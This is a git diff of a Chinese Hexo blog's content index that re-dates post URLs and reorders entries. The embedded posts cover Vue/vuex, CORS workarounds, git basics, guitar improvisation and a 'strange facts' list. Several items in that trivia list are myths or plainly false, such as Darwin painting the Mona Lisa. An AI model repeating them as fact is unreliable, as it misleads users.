title="Material"></a>Material</h3><p>原之质，物之渊<br>就是我现在用的这款，简洁大方，响应式设计。</p>]]></content>
       
       <categories>
@@ -1060,31 +1060,10 @@
       
     </entry>
     
-    <entry>
-      <title>vuex 使用技巧</title>
-      <link href="/vuex-%E6%A8%A1%E5%9D%97%E4%BB%8B%E7%BB%8D.html"/>
-      <url>/vuex-%E6%A8%A1%E5%9D%97%E4%BB%8B%E7%BB%8D.html</url>
-      <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="Action"><a href="#Action" class="headerlink" title="Action"></a>Action</h2><p>提供方法和API请求,类似于mutation</p><blockquote><p>mutation  修改 state 只能是同步的</p><ul><li>action 充满了各种异步 api<pre><code>actions: {  increment (context) {      context.commit(&#39;increment&#39;) }}另一种写法increment({commit}) {  commit(&#39;increment&#39;)}</code></pre></li></ul></blockquote><h2 id="分发-Action"><a href="#分发-Action" class="headerlink" title="分发 Action"></a>分发 Action</h2><blockquote><p>store.dispatch(‘increment’)</p></blockquote>]]></content>
-      
-      <categories>
-          
-          <category> vue </category>
-          
-      </categories>
-      
-      
-        <tags>
-            
-            <tag> vuex </tag>
-            
-        </tags>
-      
-    </entry>
-    
     <entry>
       <title>vue高仿qq音乐官网</title>
-      <link href="/vue%E9%AB%98%E4%BB%BFqq%E9%9F%B3%E4%B9%90%E5%AE%98%E7%BD%91.html"/>
-      <url>/vue%E9%AB%98%E4%BB%BFqq%E9%9F%B3%E4%B9%90%E5%AE%98%E7%BD%91.html</url>
+      <link href="/2017/06/15/vue%E9%AB%98%E4%BB%BFqq%E9%9F%B3%E4%B9%90%E5%AE%98%E7%BD%91.html"/>
+      <url>/2017/06/15/vue%E9%AB%98%E4%BB%BFqq%E9%9F%B3%E4%B9%90%E5%AE%98%E7%BD%91.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>一直想做一个vue项目 然后呢 我就做了</p><h2 id="效果预览"><a href="#效果预览" class="headerlink" title="效果预览"></a>效果预览</h2><p>部分地方不全部根据原版，也有自由发挥的，目前功能模块比较简陋，如果显示不完整，请下载以下api文件并打开</p><blockquote><p> <a href="https://github.com/Binaryify/NeteaseCloudMusicApi" target="_blank" rel="noopener">网易云音乐API</a></p></blockquote><blockquote><p>项目地址：<a href="https://github.com/j710328466/vue-qqmusic" target="_blank" rel="noopener">github</a></p></blockquote><blockquote><p>预览地址：<a href="http://182.254.147.168:8564/#/" target="_blank" rel="noopener">demo</a></p></blockquote><h2 id="Build-Setup"><a href="#Build-Setup" class="headerlink" title="Build Setup"></a>Build Setup</h2><pre><code># install dependenciescnpm i(可以用cnpm或yarn，更方便快捷，你值得拥有)# serve with hot reload at localhost:8564npm run dev# build for production with minificationnpm run build# build for production and view the bundle analyzer reportnpm run build --report# 网易云API部署 listen localhost:3000npm run start </code></pre><h2 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h2><ul><li>vue(数据绑定)</li><li>vue-router</li><li>vuex(管理组件状态，实现组件通信）</li><li>webpack(打包工具)</li><li>scss（原来想用stylus,回头看看我都快写完了…）</li><li>axios（我等下要重点讲这<em>**</em>）</li><li>组件库: element-UI(本来想用muse-UI,感觉那个更cool，下次吧..) </li><li>API: 网易云音乐API(仿qq音乐我用网易云音乐的东西，你怕不怕…)</li></ul><h2 id="核心功能组件的实现"><a href="#核心功能组件的实现" class="headerlink" title="核心功能组件的实现"></a>核心功能组件的实现</h2><h3 id="搜索功能"><a href="#搜索功能" class="headerlink" title="搜索功能"></a>搜索功能</h3><p><img src="https://ooo.0o0.ooo/2017/06/14/594135198d975.gif" alt=""></p><h3 id="播放功能"><a href="#播放功能" class="headerlink" title="播放功能"></a>播放功能</h3><p><img src="https://ooo.0o0.ooo/2017/06/14/5941364de751e.gif" alt=""><br>    (播放页面正在完善中，样式只是大概，待细化…)</p><h3 id="跳转功能"><a href="#跳转功能" class="headerlink" title="跳转功能"></a>跳转功能</h3><p><img src="https://ooo.0o0.ooo/2017/06/14/59415a8cd0df7.gif" alt=""><br>    (目前子目录只开通歌手列表)</p><h2 id="自己挖的坑，自己埋"><a href="#自己挖的坑，自己埋" class="headerlink" title="自己挖的坑，自己埋"></a>自己挖的坑，自己埋</h2><h3 id="vuex的模块应用"><a href="#vuex的模块应用" class="headerlink" title="vuex的模块应用"></a>vuex的模块应用</h3><ul><li>一开始我并没有使用vuex，因为我觉得目前这个项目比较小，并不需要它来管理数据，毕竟vuex针对大项目来说确实很好用，但是后来考虑到如果后期该项目我还要    维护，数据量一大，还是要重新分类数据，所以中途某些地方插入了vuex的使用，这就很大一部分影响了项目进行的进度。（目前只用到action和state）</li></ul><h3 id="qq音乐的轮播图"><a href="#qq音乐的轮播图" class="headerlink" title="qq音乐的轮播图"></a>qq音乐的轮播图</h3><ul><li>不用说，qq音乐这个网站的页面我是真的挺喜欢，不光是他的设计，页面的布局也很美观，在控制台调试的时候可以看看它的结构，非常有层次而富有美感，即使加上    一层margin,padding也不会有违和感。这就造就了它的轮播图结构比较麻烦，不是说做不出来，因为这是第一次上传的项目，我想先将大概的结构完善一下，后期再    维护，所以我就选用了element-UI里面的跑马灯式轮播图组件，大体来说，除了部分瑕疵以外，还是高度还原了原版轮播图的。</li></ul><h3 id="axios后端数据获取时产生的跨域问题"><a href="#axios后端数据获取时产生的跨域问题" class="headerlink" title="axios后端数据获取时产生的跨域问题"></a>axios后端数据获取时产生的跨域问题</h3><ul><li><p>重点来了，这个是我在该项目中花了最多时间的地方，相信很多同学使用axios都碰到过我这个问题，目前我这里使用了三种方法处理该问题，请大家针对自己的项目问题对号入座</p></li><li><p>跨域访问，简单来说就是 A 网站的 javascript 代码试图访问 B 网站，包括提交内容和获取内容。由于安全原因，跨域访问是被各大浏览器所默认禁止的。</p></li></ul><p>①. 针对本地相同端口服务器之间的跨域</p><ul><li>这是我刚开始碰到问题时使用的第一种，这个时候你只需要找到build文件中的dev-server，找到引用express的位置，给它加上一个头文件：<pre><code> app.all(&#39;*&#39;, function (req, res, next) { res.header(&quot;Access-Control-Allow-Credentials&quot;, true) res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;) res.header(&quot;Access-Control-Allow-Headers&quot;, &quot;X-Requested-With&quot;) res.header(&quot;Access-Control-Allow-Methods&quot;, &quot;PUT,POST,GET,DELETE,OPTIONS&quot;) res.header(&quot;X-Powered-By&quot;, &#39; 3.2.1&#39;) res.header(&quot;Content-Type&quot;, &quot;application/json;charset=utf-8&quot;) next() })</code></pre></li></ul><blockquote><p> <img src="https://ooo.0o0.ooo/2017/06/14/594140894d162.jpg" alt=""></p></blockquote><ul><li><p>然后它就会报错~，具体原因是你同一个端口申请相同端口的东西,不好意思，那不叫跨域…<br><br><br>②. 针对本地不同端口的服务器之间的跨域</p></li><li><p>就是将上面的头文件放在当前项目申请的服务器的那个api中。<br><br><br>③. 针对本地服务器对域名服务器访问的跨域问题</p></li><li><p>找到当前项目congfig文件夹下index.js文件，然后在文件中将proxyTable内容改为：</p><pre><code>proxyTable: {   &#39;/api&#39;: {   target: &#39;[1]&#39;,   changeOrigin: true,   pathRewrite: {   &#39;^/api&#39;: &#39;/&#39;   }  } }</code></pre><blockquote><p>就是你当前想访问的api地址，项目中访问的时候就只要用/api做反向代理即可</p></blockquote></li></ul><h2 id="终于"><a href="#终于" class="headerlink" title="终于"></a>终于</h2><ul><li><p>这是我第一个用vue撸的项目，可能功能有点简陋，很多地方有待提高，不过这次实践让我对组件化的理解有了一定的提升，后期会继续加入其它功能模块的，文中有用词不对的地方，欢迎大家指出，项目有什么bug，也希望大家多多提issue</p></li><li><p>如果对你有帮助，给个star吧</p></li><li><p><a href="http://jzxer.cn/about/" target="_blank" rel="noopener">我的简历</a><br><img src="https://ooo.0o0.ooo/2017/06/14/594148dc7c4f1.gif" alt=""></p></li></ul>]]></content>
       
       <categories>
@@ -1106,10 +1085,31 @@
       
     </entry>
     
+    <entry>
+      <title>vuex 使用技巧</title>
+      <link href="/2017/06/15/vuex-%E6%A8%A1%E5%9D%97%E4%BB%8B%E7%BB%8D.html"/>
+      <url>/2017/06/15/vuex-%E6%A8%A1%E5%9D%97%E4%BB%8B%E7%BB%8D.html</url>
+      <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="Action"><a href="#Action" class="headerlink" title="Action"></a>Action</h2><p>提供方法和API请求,类似于mutation</p><blockquote><p>mutation  修改 state 只能是同步的</p><ul><li>action 充满了各种异步 api<pre><code>actions: {  increment (context) {      context.commit(&#39;increment&#39;) }}另一种写法increment({commit}) {  commit(&#39;increment&#39;)}</code></pre></li></ul></blockquote><h2 id="分发-Action"><a href="#分发-Action" class="headerlink" title="分发 Action"></a>分发 Action</h2><blockquote><p>store.dispatch(‘increment’)</p></blockquote>]]></content>
+      
+      <categories>
+          
+          <category> vue </category>
+          
+      </categories>
+      
+      
+        <tags>
+            
+            <tag> vuex </tag>
+            
+        </tags>
+      
+    </entry>
+    
     <entry>
       <title>git使用技巧</title>
-      <link href="/GIT%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html"/>
-      <url>/GIT%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html</url>
+      <link href="/2017/04/15/GIT%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html"/>
+      <url>/2017/04/15/GIT%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h1><h2 id="git连接GitHub"><a href="#git连接GitHub" class="headerlink" title="git连接GitHub"></a>git连接GitHub</h2><h3 id="设置Git的信息-如果是第一次的话"><a href="#设置Git的信息-如果是第一次的话" class="headerlink" title="设置Git的信息(如果是第一次的话)"></a>设置Git的信息(如果是第一次的话)</h3><blockquote><p>git config –global user.name “名字”<br>git config –global user.email “邮箱”</p></blockquote><h3 id="生成密匙-很重要"><a href="#生成密匙-很重要" class="headerlink" title="生成密匙(很重要)"></a>生成密匙(很重要)</h3><p>这是你连接的必要部分，就相当于账号的登录密码，有这个你才能对GitHub上的项目进行操作</p><blockquote><p> ssh-keygen -t rsa -C “<a href="mailto:710328466@qq.com" target="_blank" rel="noopener">710328466@qq.com</a>“</p></blockquote><h3 id="配置密匙"><a href="#配置密匙" class="headerlink" title="配置密匙"></a>配置密匙</h3><ul><li>将获取的密钥放到GitHub-&gt;setting下的SSH and GPG keys里面</li></ul><h3 id="新建项目"><a href="#新建项目" class="headerlink" title="新建项目"></a>新建项目</h3><ul><li><p>进入首页，新建一个repository</p></li><li><p>填写相应信息</p><pre><code>  Repository name: 仓库名称  Description(可选): 仓库描述介绍  Public, Private : 仓库权限（公开共享，私有或指定合作者）  Initialize this repository with a README: 添加一个README.md  gitignore: 不需要进行版本管理的仓库类型，对应生成文件.gitignore  license: 证书类型，对应生成文件LICENSE</code></pre></li></ul><h3 id="下载-git-bash"><a href="#下载-git-bash" class="headerlink" title="下载 git bash"></a>下载 git bash</h3><p> #</p><ul><li>下载地址去百度</li></ul><h3 id="将-gitHub-上的仓库克隆到本地"><a href="#将-gitHub-上的仓库克隆到本地" class="headerlink" title="将 gitHub 上的仓库克隆到本地"></a>将 gitHub 上的仓库克隆到本地</h3><ul><li>git clone <a href="https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）" target="_blank" rel="noopener">https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）</a><blockquote><p> 这个步骤以后你的本地项目文件夹下面就会多出个文件夹，该文件夹名即为你github上面的项目名，如图我多出了个yourItem文件夹，我们把本地项目文件夹下的所有文件（除了新多出的那个文件夹不用），其余都复制到那个新多出的文件夹下</p></blockquote></li></ul><h3 id="cd-Test-打开Test文件夹"><a href="#cd-Test-打开Test文件夹" class="headerlink" title="cd Test 打开Test文件夹"></a>cd Test 打开Test文件夹</h3><ul><li><p>git add .    (添加所有文件)</p><blockquote><p>git add readme.md</p></blockquote></li><li><p>git commit -m “信息” </p></li><li><p>git push -u origin master  将本地文件上传到git仓库</p><blockquote><p> 如果push -u….报错，你就改成git pull –rebase origin master,重新push就可以了</p></blockquote></li></ul><h2 id="git-基本操作"><a href="#git-基本操作" class="headerlink" title="git 基本操作"></a>git 基本操作</h2><h3 id="touch-文件名"><a href="#touch-文件名" class="headerlink" title="touch 文件名"></a>touch 文件名</h3><p>添加到缓存</p><h3 id="git-status"><a href="#git-status" class="headerlink" title="git status"></a>git status</h3><blockquote><p>查看该项目改变的文件</p><ul><li>git status </li></ul></blockquote><h3 id="git-diff"><a href="#git-diff" class="headerlink" title="git diff"></a>git diff</h3><blockquote><p>默认是暂未缓存的改动，这个可以查自己目前版本和上一个版本的改动位置</p></blockquote><h4 id="git-diff-–cached"><a href="#git-diff-–cached" class="headerlink" title="git diff –cached"></a>git diff –cached</h4><blockquote><p>查看已缓存的改动</p></blockquote><h4 id="git-diff-HEAD"><a href="#git-diff-HEAD" class="headerlink" title="git diff HEAD"></a>git diff HEAD</h4><blockquote><p>查看已缓存与未缓存的所有改动</p></blockquote><h4 id="git-diff-–stat"><a href="#git-diff-–stat" class="headerlink" title="git diff –stat"></a>git diff –stat</h4><blockquote><p>显示摘要而非整个diff</p></blockquote><h3 id="git-rm"><a href="#git-rm" class="headerlink" title="git rm"></a>git rm</h3><blockquote><p>将条目从缓存区中移除</p></blockquote><h3 id="git-mv"><a href="#git-mv" class="headerlink" title="git mv"></a>git mv</h3><blockquote><p>用于移动或重命名一个文件，目录</p><pre><code>git add READMEgit mv README README.mdls</code></pre></blockquote><h2 id="git-分支管理"><a href="#git-分支管理" class="headerlink" title="git 分支管理"></a>git 分支管理</h2><h3 id="git-branch"><a href="#git-branch" class="headerlink" title="git branch"></a>git branch</h3><ul><li>查看当前分支<blockquote><p>后面加单词，即是创建分支: git branch day1</p></blockquote></li></ul><h3 id="删除分支"><a href="#删除分支" class="headerlink" title="删除分支"></a>删除分支</h3><blockquote><p>git branch -d testing</p></blockquote><h3 id="git-checkout-‘分支名’"><a href="#git-checkout-‘分支名’" class="headerlink" title="git checkout ‘分支名’"></a>git checkout ‘分支名’</h3><blockquote><p>切换分支</p></blockquote><h3 id="git-checkout-b-newtest"><a href="#git-checkout-b-newtest" class="headerlink" title="git checkout -b newtest"></a>git checkout -b newtest</h3><blockquote><p>创建新分支并切换到该分支下</p></blockquote><h3 id="git-merge-分支"><a href="#git-merge-分支" class="headerlink" title="git merge 分支"></a>git merge 分支</h3><blockquote><p>合并分支</p></blockquote>]]></content>
       
       <categories>
@@ -1129,8 +1129,8 @@
     
     <entry>
       <title>Amani-间奏</title>
-      <link href="/Amani-%E9%97%B4%E5%A5%8F-1.html"/>
-      <url>/Amani-%E9%97%B4%E5%A5%8F-1.html</url>
+      <link href="/2017/03/28/Amani-%E9%97%B4%E5%A5%8F-1.html"/>
+      <url>/2017/03/28/Amani-%E9%97%B4%E5%A5%8F-1.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><div id="dplayer0" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer0"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/amani%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4"},"danmaku":{"id":"1","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
       
       <categories>
@@ -1150,8 +1150,8 @@
     
     <entry>
       <title>前端的职业路线</title>
-      <link href="/%E5%89%8D%E7%AB%AF%E7%9A%84%E8%81%8C%E4%B8%9A%E8%B7%AF%E7%BA%BF.html"/>
-      <url>/%E5%89%8D%E7%AB%AF%E7%9A%84%E8%81%8C%E4%B8%9A%E8%B7%AF%E7%BA%BF.html</url>
+      <link href="/2017/03/19/%E5%89%8D%E7%AB%AF%E7%9A%84%E8%81%8C%E4%B8%9A%E8%B7%AF%E7%BA%BF.html"/>
+      <url>/2017/03/19/%E5%89%8D%E7%AB%AF%E7%9A%84%E8%81%8C%E4%B8%9A%E8%B7%AF%E7%BA%BF.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>小结，一个优秀的前端leader，我认为应该具备的能力：</p><h3 id="技术功底"><a href="#技术功底" class="headerlink" title="技术功底"></a>技术功底</h3><blockquote><p>重要功能或需求的开发，或提供解决方案，做技术选型</p></blockquote><h4 id="技术专攻"><a href="#技术专攻" class="headerlink" title="技术专攻"></a>技术专攻</h4><pre><code>· HTML    理解语义化· CSS    动态居中动画    Bootstrap 样式类    Preprocessor兼容性     Hack与特征检测    CSS3属性与性能· js    Name hoisting    Prototype    Closure    Main loop    Promise    Delegation    Cross domain· Mobile    渐进增强    移动端交互    兼容性问题· Debug工具 · 方法性能    JSCache     control    性能测试</code></pre><h3 id="沟通能力"><a href="#沟通能力" class="headerlink" title="沟通能力"></a>沟通能力</h3><blockquote><p>具备产品思维，需求分析评审，分发开发任务，和产品经理、设计师以及后端等沟通、协调</p></blockquote><h3 id="项目管理能力"><a href="#项目管理能力" class="headerlink" title="项目管理能力"></a>项目管理能力</h3><blockquote><p>开发需求的跟进，代码review，代码合并与发布等，精通svn或git是必须的，记住是精通，你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了，你至少要知道如何找回吧</p></blockquote><h3 id="文档功力和执行力"><a href="#文档功力和执行力" class="headerlink" title="文档功力和执行力"></a>文档功力和执行力</h3><blockquote><p>前端开发规范，开发文档、开发标准的建立和实施，关键是实施</p></blockquote><h3 id="做老师的能力"><a href="#做老师的能力" class="headerlink" title="做老师的能力"></a>做老师的能力</h3><blockquote><p>新员工的培训、辅导</p></blockquote><h3 id="行业观察能力"><a href="#行业观察能力" class="headerlink" title="行业观察能力"></a>行业观察能力</h3><blockquote><p>前端的技术更新太快了，一个优秀的前端leader还要引导团队了解和学习新的技术，为以后做技术储备</p></blockquote><h3 id="不要太宅"><a href="#不要太宅" class="headerlink" title="不要太宅"></a>不要太宅</h3><blockquote><p>这很重要，技术男大多很宅，要想做一个好的leader，就要多和不同的人特别是多和沟通方面强势的人打交道。<br>要不，等你做到leader的位置，即便是站在前端的角度来看有些极度不合理的需求，你也可能镇不住，天天接这样的需求，怨言就犹如漫天飞雪，受不了的人会选择离开，如果你的团队离职率高的话。。。Boss会觉得你是合适的吗？</p></blockquote>]]></content>
       
       <categories>
@@ -1171,8 +1171,8 @@
     
     <entry>
       <title>一些不可思议的的事</title>
-      <link href="/%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%8F%AF%E6%80%9D%E8%AE%AE%E7%9A%84%E7%9A%84%E4%BA%8B.html"/>
-      <url>/%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%8F%AF%E6%80%9D%E8%AE%AE%E7%9A%84%E7%9A%84%E4%BA%8B.html</url>
+      <link href="/2017/03/07/%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%8F%AF%E6%80%9D%E8%AE%AE%E7%9A%84%E7%9A%84%E4%BA%8B.html"/>
+      <url>/2017/03/07/%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%8F%AF%E6%80%9D%E8%AE%AE%E7%9A%84%E7%9A%84%E4%BA%8B.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><ol><li>没有一张纸可对折超过7次 </li><li>根据统计每年骡仔所杀的人比飞机失事所死的人还多 </li><li>人睡觉比坐着看电视所消耗的卡路里还多 </li><li>Wright’sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短 </li><li>很多人每朝起来都喝一杯咖啡提神，但其实一个苹果比一杯咖啡还有效 </li><li>你的家中多数尘埃都是你的死皮 </li><li>洋娃娃Barbie 全名是Barabra Millicent Roberts</li><li>希特拉的妈妈在怀有希特拉曾认真地考虑堕胎，不过被医说服，结果把他生下来 </li><li>玛丽莲梦露有6只脚趾 </li><li>降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗</li><li>印度尼西亚竹节虫是全世界最大的昆虫，有些光是身长就有一呎长</li><li>其实，河马跑得比人快 </li><li>珍珠在醋中会溶 </li><li>一只70磅的章鱼可以穿过一个仅一枚银币大小的洞，因为他们没有脊椎 </li><li>你有可能将一只牛拉上楼梯，但牛是不懂下楼梯的 </li><li>猪不能仰头望天空 </li><li>‘quick brown fox jumps over the lazy dog’可以用尽26个字母 </li><li>鸭的叫声是不会有回音的，暂时没有人知何解 </li><li>蜗牛可不吃东西睡3年 </li><li>著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房 </li><li>如果一个月中，第一天是星期日，那个月便出现黑色星期五 </li><li>把石头放在微波炉中加热会爆炸 </li><li>1,111,111 x 1,111,111 = 1234567654321 </li><li>唯一一个有15英文字母而又不会重复是的英文字’uncopyrightable’ </li><li>猫可发出超过100个音，狗却只能发10个音 </li><li>愈黑的环境下，猫的排尿次数会增加 </li><li>将一个硬币向上抛1000次，字向上的次数是495次，不是500次，因为公较重 </li><li>根据牛津字典世界上最长的英文字是’pneumonoultramicroscopicsilicovolcanoconiosis’ </li><li>人体的胃每2个星期便会更新一次分泌物，否则它会自我消化 </li><li>可乐原是绿色的 </li><li>虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗，胜利者就是可以活着出生的小虎鲨 </li><li>走路上班的人最高比率的省是阿拉斯加 </li><li>如果Barbie是人类，她是身形是39-23-33 </li><li>美国平均每小时在空中的人有61000人 </li><li>只有一种食物不会变坏:蜜糖 </li><li>在加勒比海附近有一种蚝是会爬榭的 </li><li>世界上最年轻的父母在1910年出现，一个8岁及另一个9岁的中国人 </li><li>人顃的鼻及耳是毕生都不断长大 </li><li>下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎 </li><li>乳牛听音乐时可以供应更多牛奶 </li><li>一条长颈鹿的舌头有2尺长 </li><li>大象可用头来站立 </li><li>蚂蚁早上醒来会抓痒 </li><li>伟大发明家爱迪生是怕黑的 </li><li>世上最老的金鱼是41岁，名叫Fred </li><li>爱因斯坦9岁时不能流利说话，他妈妈曾经一度以为他是弱智 </li><li>阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚 </li><li>只有55%的美国人知道太阳是一个星体 </li><li>多数唇膏是有鱼鳞的 </li><li>长颈鹿没办法咳嗽 </li><li>猫头鹰是唯一能够分辨蓝色的鸟类 </li><li>一只鲸鱼一分钟心跳只有九下 </li><li>我们喝到肚子里头的水已经有三亿岁了 </li><li>只有百分之三十的人可以放大缩小自己的鼻孔 </li><li>一只牡蛎的性别会由男变女，此后一生中还会变个几次 </li><li>根据一项1845年由英国通过的法律，自杀是非常严重的罪，最重可以处以吊死的极刑 </li><li>在太空中航天员是没办法哭的，因为没有地心引力，眼泪流不出来 </li><li>一只变色龙的舌头是它自己身体的两倍长 </li><li>最常用牙签的人是美国人 </li><li>一个正常人的眼部肌肉一天平均要动上一万到一万五千次 </li><li>大象死后还会保持站立姿势 </li><li>有些昆虫没有头还可以再活上一年 </li><li>达尔文光是画蒙那莉萨的嘴唇就花上十二年 </li><li>玻璃破掉时，玻璃碎片的时速最高可达每小时三千英哩 </li></ol><blockquote><p>世间真是无奇不有….</p></blockquote>]]></content>
       
       <categories>
@@ -1192,8 +1192,8 @@
     
     <entry>
       <title>电吉他即兴原理</title>
-      <link href="/%E7%94%B5%E5%90%89%E4%BB%96%E5%8D%B3%E5%85%B4%E5%8E%9F%E7%90%86.html"/>
-      <url>/%E7%94%B5%E5%90%89%E4%BB%96%E5%8D%B3%E5%85%B4%E5%8E%9F%E7%90%86.html</url>
+      <link href="/2017/02/15/%E7%94%B5%E5%90%89%E4%BB%96%E5%8D%B3%E5%85%B4%E5%8E%9F%E7%90%86.html"/>
+      <url>/2017/02/15/%E7%94%B5%E5%90%89%E4%BB%96%E5%8D%B3%E5%85%B4%E5%8E%9F%E7%90%86.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="第一阶段"><a href="#第一阶段" class="headerlink" title="第一阶段"></a>第一阶段</h2><ul><li><p>先确定好和弦进行，比如 1－6－4－5</p></li><li><p>再找到该调中每个和弦的五级和弦，5－3－1－2</p></li><li><p>把两个和弦的音归拢  12357 － 56713 － 34561 － 45672</p><blockquote><p>这样每个和弦就可以用那5个音了。现在先练习一下，在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。（对应的5个音可以按照默认的那个顺序也可以打乱练习，重点听这些音对和弦产生的效果）</p></blockquote></li></ul><h2 id="第二阶段"><a href="#第二阶段" class="headerlink" title="第二阶段"></a>第二阶段</h2><ul><li><p>重点音与经过音。</p></li><li><p>在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果，哪些音对该和弦有特殊的效果，哪些音对该和弦没有多大用处比较平淡。（每个人的感觉不同，练习时候的心态和练习内容不同所以最终对音乐的感受也不一样，自然最后确定的音附也不一样，相信自己的感觉，这样坚持才能发展自己的特点）</p></li><li><p>将找到的对每个和弦有用的音作为该和弦的重点，没用的作为经过音，同时不包含在每个和弦的那5个音中剩余的那两个音（46－24－27－13）刚开始练习阶段不要弹，以后熟练了再作为经过音加入到练习中。</p><blockquote><p>（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）</p></blockquote></li></ul><h2 id="第三阶段"><a href="#第三阶段" class="headerlink" title="第三阶段"></a>第三阶段</h2><ul><li><p>这次就是节奏的训练，同样的旋律试着把每个音的时值改变，加入附点音，先现音，休止符等。并随着水平的进步加快速度。</p><blockquote><p>从第一阶段到这个阶段差不多要练3－6个月的时间，大家先好好练习吧</p></blockquote></li><li><p>（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）</p><h2 id="各个阶段的重点"><a href="#各个阶段的重点" class="headerlink" title="各个阶段的重点"></a>各个阶段的重点</h2><p>建议大家先一个和弦一个和弦的练，把每个和弦和他对应的音练熟再换下一个和弦，然后再将两个和弦连起来练，然后再练下一个，再下一个，再连起来。</p></li><li><p>第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。</p></li><li><p>第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉（首先和弦的分解音肯定是比较稳定的感觉，剩下的两个音才是关键他们分别是和弦根音的7度和9度，这两个音和不同的和弦内音组成的旋律感觉最有特色）</p><blockquote><p>  另外刚开始一定注意，慢速弹，一定把要弹的音先在脑子过一遍在反映到琴上，熟练以后才能得心应手，还要注意，每个和弦有5个可以选择的音符，还剩下的两个音（相对于和弦的根音是4度和6度）不是不能用，大家可以试试，这两个音给人的感觉并不是很舒服，最好在完成这两个阶段以后在加入进来练习。</p></blockquote></li></ul>]]></content>
       
       <categories>
@@ -1215,8 +1215,8 @@
     
     <entry>
       <title>material主题使用攻略</title>
-      <link href="/material%E4%B8%BB%E9%A2%98%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html"/>
-      <url>/material%E4%B8%BB%E9%A2%98%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html</url>
+      <link href="/2017/02/15/material%E4%B8%BB%E9%A2%98%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html"/>
+      <url>/2017/02/15/material%E4%B8%BB%E9%A2%98%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="安装-Material"><a href="#安装-Material" class="headerlink" title="安装[Material]"></a>安装[Material]</h2><pre><code class="bash">npm install hexo-meterial</code></pre><p>该方法会将主题下载到node_modules文件夹下，找到该文件后，将文件名改为material</p><h3 id="启用-Material"><a href="#启用-Material" class="headerlink" title="启用[Material]"></a>启用[Material]</h3><p>找到主题文件下的_config.template.yml 改成 _config.yml</p><h2 id="更新-Material"><a href="#更新-Material" class="headerlink" title="更新[Material]"></a>更新[Material]</h2><pre><code class="bash">npm update hexo-material</code></pre><p>让后将文件复制到 Material 主题文件中</p><h2 id="配置主题"><a href="#配置主题" class="headerlink" title="配置主题"></a>配置主题</h2><h3 id="head"><a href="#head" class="headerlink" title="head"></a>head</h3><ul><li>favicon: 网站的 favicon</li><li>high_res_favicon: 高清 favicon</li><li>apple_touch_icon: iOS 主屏按钮图标</li><li>keywords: 网站关键词</li></ul><h3 id="url"><a 